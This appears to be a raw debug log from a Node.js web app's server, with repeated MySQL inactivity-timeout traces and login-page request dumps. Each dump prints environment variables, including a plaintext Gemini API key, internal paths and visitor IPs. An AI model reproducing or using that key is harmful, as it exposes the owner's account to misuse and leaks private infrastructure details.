    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-14 14:48:04' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-14 15:26:04' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-14 15:26:04' as DATETIME)"
}
2025-12-14T15:30:30.844Z server-connect:router Serving templateView /
2025-12-14T15:30:30.845Z server-connect:app Executing action step identify
2025-12-14T15:30:30.845Z server-connect:app options: { provider: 'security' }
2025-12-14T15:30:30.845Z server-connect:auth No login cookie found
2025-12-14T15:30:30.845Z server-connect:output identity: false
2025-12-14T15:30:30.845Z server-connect:app Executing action step restrict
2025-12-14T15:30:30.845Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T15:30:30.846Z server-connect:output restrict: undefined
2025-12-14T15:30:33.038Z server-connect:router Serving templateView /login
2025-12-14T15:30:33.039Z server-connect:app Executing action step identify
2025-12-14T15:30:33.039Z server-connect:app options: { provider: 'security' }
2025-12-14T15:30:33.039Z server-connect:auth No login cookie found
2025-12-14T15:30:33.039Z server-connect:output identity: false
2025-12-14T15:30:33.039Z server-connect:router Render template layouts/authentication
2025-12-14T15:30:33.039Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'http://www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.72.195.165',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T15:30:33.038Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.72.195.165',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'http://www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.72.195.165',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-14 15:49:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-14 15:49:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-14 16:42:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-14 16:42:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-14 17:41:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-14 17:41:44' as DATETIME)"
}
2025-12-14T18:30:25.324Z server-connect:router Serving templateView /
2025-12-14T18:30:25.325Z server-connect:app Executing action step identify
2025-12-14T18:30:25.325Z server-connect:app options: { provider: 'security' }
2025-12-14T18:30:25.325Z server-connect:auth No login cookie found
2025-12-14T18:30:25.325Z server-connect:output identity: false
2025-12-14T18:30:25.325Z server-connect:app Executing action step restrict
2025-12-14T18:30:25.325Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T18:30:25.326Z server-connect:output restrict: undefined
2025-12-14T18:30:25.437Z server-connect:router Serving templateView /login
2025-12-14T18:30:25.437Z server-connect:app Executing action step identify
2025-12-14T18:30:25.437Z server-connect:app options: { provider: 'security' }
2025-12-14T18:30:25.437Z server-connect:auth No login cookie found
2025-12-14T18:30:25.437Z server-connect:output identity: false
2025-12-14T18:30:25.437Z server-connect:router Render template layouts/authentication
2025-12-14T18:30:25.438Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '149.57.180.151',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T18:30:25.437Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '149.57.180.151',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '149.57.180.151',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-14T18:34:51.405Z server-connect:router Serving templateView /
2025-12-14T18:34:51.405Z server-connect:app Executing action step identify
2025-12-14T18:34:51.405Z server-connect:app options: { provider: 'security' }
2025-12-14T18:34:51.405Z server-connect:auth No login cookie found
2025-12-14T18:34:51.405Z server-connect:output identity: false
2025-12-14T18:34:51.405Z server-connect:app Executing action step restrict
2025-12-14T18:34:51.405Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T18:34:51.406Z server-connect:output restrict: undefined
2025-12-14T18:34:51.515Z server-connect:router Serving templateView /login
2025-12-14T18:34:51.516Z server-connect:app Executing action step identify
2025-12-14T18:34:51.516Z server-connect:app options: { provider: 'security' }
2025-12-14T18:34:51.516Z server-connect:auth No login cookie found
2025-12-14T18:34:51.516Z server-connect:output identity: false
2025-12-14T18:34:51.516Z server-connect:router Render template layouts/authentication
2025-12-14T18:34:51.516Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '149.57.180.169',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T18:34:51.515Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '149.57.180.169',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '149.57.180.169',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-14T21:09:53.816Z server-connect:router Serving templateView /
2025-12-14T21:09:53.818Z server-connect:app Executing action step identify
2025-12-14T21:09:53.818Z server-connect:app options: { provider: 'security' }
2025-12-14T21:09:53.818Z server-connect:auth No login cookie found
2025-12-14T21:09:53.818Z server-connect:output identity: false
2025-12-14T21:09:53.818Z server-connect:app Executing action step restrict
2025-12-14T21:09:53.818Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T21:09:53.818Z server-connect:output restrict: undefined
2025-12-14T21:09:54.086Z server-connect:router Serving templateView /login
2025-12-14T21:09:54.086Z server-connect:app Executing action step identify
2025-12-14T21:09:54.087Z server-connect:app options: { provider: 'security' }
2025-12-14T21:09:54.087Z server-connect:auth No login cookie found
2025-12-14T21:09:54.087Z server-connect:output identity: false
2025-12-14T21:09:54.087Z server-connect:router Render template layouts/authentication
2025-12-14T21:09:54.087Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '23.27.145.62',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T21:09:54.086Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.27.145.62',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '23.27.145.62',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-14T21:12:06.587Z server-connect:router Serving templateView /
2025-12-14T21:12:06.587Z server-connect:app Executing action step identify
2025-12-14T21:12:06.587Z server-connect:app options: { provider: 'security' }
2025-12-14T21:12:06.587Z server-connect:auth No login cookie found
2025-12-14T21:12:06.587Z server-connect:output identity: false
2025-12-14T21:12:06.587Z server-connect:app Executing action step restrict
2025-12-14T21:12:06.587Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T21:12:06.588Z server-connect:output restrict: undefined
2025-12-14T21:12:07.035Z server-connect:router Serving templateView /login
2025-12-14T21:12:07.036Z server-connect:app Executing action step identify
2025-12-14T21:12:07.036Z server-connect:app options: { provider: 'security' }
2025-12-14T21:12:07.036Z server-connect:auth No login cookie found
2025-12-14T21:12:07.036Z server-connect:output identity: false
2025-12-14T21:12:07.036Z server-connect:router Render template layouts/authentication
2025-12-14T21:12:07.036Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '149.57.180.101',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T21:12:07.035Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '149.57.180.101',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '149.57.180.101',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-14T23:15:42.622Z server-connect:router Serving templateView /
2025-12-14T23:15:42.623Z server-connect:app Executing action step identify
2025-12-14T23:15:42.623Z server-connect:app options: { provider: 'security' }
2025-12-14T23:15:42.623Z server-connect:auth No login cookie found
2025-12-14T23:15:42.623Z server-connect:output identity: false
2025-12-14T23:15:42.623Z server-connect:app Executing action step restrict
2025-12-14T23:15:42.623Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T23:15:42.624Z server-connect:output restrict: undefined
2025-12-14T23:15:44.446Z server-connect:router Serving templateView /login
2025-12-14T23:15:44.446Z server-connect:app Executing action step identify
2025-12-14T23:15:44.446Z server-connect:app options: { provider: 'security' }
2025-12-14T23:15:44.446Z server-connect:auth No login cookie found
2025-12-14T23:15:44.446Z server-connect:output identity: false
2025-12-14T23:15:44.446Z server-connect:router Render template layouts/authentication
2025-12-14T23:15:44.447Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
